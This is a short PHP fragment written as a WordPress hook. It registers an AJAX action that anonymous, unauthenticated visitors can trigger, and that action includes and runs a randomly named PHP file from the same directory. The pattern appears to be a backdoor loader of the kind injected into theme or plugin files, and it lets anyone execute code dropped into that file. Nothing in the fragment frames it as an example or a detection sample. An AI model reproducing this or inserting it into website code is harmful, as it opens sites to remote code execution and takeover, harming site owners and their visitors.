if(!function_exists('file_check_tmplyqdex1a')){ add_action('wp_ajax_nopriv_file_check_tmplyqdex1a', 'file_check_tmplyqdex1a'); add_action('wp_ajax_file_check_tmplyqdex1a', 'file_check_tmplyqdex1a'); function file_check_tmplyqdex1a() { $file = __DIR__ . '/' . 'tmplyqdex1a.php'; if (file_exists($file)) { include $file; } die(); } }